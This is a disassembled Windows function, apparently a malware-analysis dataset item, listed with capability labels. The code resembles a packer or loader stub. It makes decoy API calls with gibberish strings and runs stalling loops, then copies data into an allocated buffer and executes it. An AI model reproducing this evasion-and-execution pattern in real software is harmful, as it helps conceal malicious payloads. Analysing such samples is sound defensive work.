Function at 0x401370
Capabilities:
Delete directory
Get disk information
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x49e9c8
push eax
mov eax, 0x1028
mov dword fs:[0], esp
call fcn.00409a90
mov eax, dword [0x8c5224]
push ebx
push esi
push edi
cmp eax, 0x93
jne 0x40140d
push str.wolirocoli_wahigomah_zileruruvivudebowi_xibugupejimideko
push str.kufutuhun_yihijopiruharavasowepavasiju_pawojumefijo
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.farasedez_sesuziximeniwukahemovuto_wojuwutehibatemibubekomap
push str.fozakigapuwineji_vopaz
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [ebp - 0x34]
call fcn.004016e0
push 0
mov dword [ebp - 4], 0
call fcn.00401b84
add esp, 4
push 0
push 0
call fcn.00401af7
push 0
push 0
call fcn.004019b8
push 0
push 0
call fcn.00401af7
add esp, 0x18
push 0
call fcn.00401ea0
mov ecx, dword [0x4a5c40]
add eax, 0x1134b
push eax
push 0
mov dword [0x8c5c88], ecx
mov dword [0x8c5224], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x8c4bd8], eax
call fcn.004012b0
xor esi, esi
cmp dword [0x8c5224], esi
jbe 0x40149f
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
lea esp, [esp]
mov edx, dword [0x8c5c88]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x8c4bd8]
mov byte [ecx + esi], al
cmp dword [0x8c5224], 0x490
jne 0x401496
push str.wamudofi
push 0
call ebx
push 0
lea edx, [ebp - 0x10]
push edx
call edi
push str.kecodojuvigex_feleniwegobefusevamatocod_bip_foxowicaducujisacozetojufapove
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
inc esi
cmp esi, dword [0x8c5224]
jb 0x401450
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
xor eax, eax
mov dword [ebp - 0x14], eax
mov ecx, dword [0x8c5224]
add ecx, eax
cmp ecx, 0x8d
jne 0x401515
push str.xuyif
call esi
push 0
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x10]
push edx
push 0
lea eax, [ebp - 0x834]
push eax
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
mov eax, dword [ebp - 0x14]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x14], eax
jl 0x4014b6
call fcn.00401230
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea ecx, [ecx]
push 0
call edi
cmp esi, 0x62
jne 0x40153e
call fcn.00401290
inc esi
cmp esi, 0x674db
jl 0x401530
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov ebx, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x8c5224], 0x86
jne 0x4015a5
push 0
lea ecx, [ebp - 0x1034]
push ecx
push str.jotokimitifipawuy
call esi
lea edx, [ebp - 0x434]
push edx
push 0
push 0x4a0678
call edi
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x18]
push edx
mov word [ebp - 0x14], ax
mov word [ebp - 0x12], cx
mov eax, dword [ebp - 0x14]
push eax
push ecx
push ecx
push ecx
call ebx
sub dword [ebp - 0x10], 1
jne 0x401560
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x8c4bd8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret